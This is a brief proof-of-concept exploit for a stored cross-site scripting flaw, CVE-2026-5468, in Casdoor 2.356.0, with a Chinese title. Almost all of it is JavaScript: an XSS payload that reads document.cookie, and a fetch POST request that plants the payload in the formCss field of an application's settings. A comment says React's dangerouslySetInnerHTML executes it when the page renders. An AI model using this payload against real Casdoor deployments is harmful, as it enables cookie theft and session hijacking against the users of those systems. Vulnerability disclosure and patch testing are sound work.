CVE-2026-5468 Casdoor存储型XSS漏洞

// PoC for CVE-2026-5468 // Target: Casdoor 2.356.0 // Vulnerable Parameter: formCss, formCssMobile, formSideHtml const maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Example HTTP POST request to inject payload via formCss fetch('/api/update-application', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <YOUR_TOKEN>' }, body: JSON.stringify({ owner: "admin", name: "app-example", // Injecting payload into the vulnerable field formCss: maliciousPayload }) }); // When the page is rendered, React's dangerouslySetInnerHTML will execute the alert.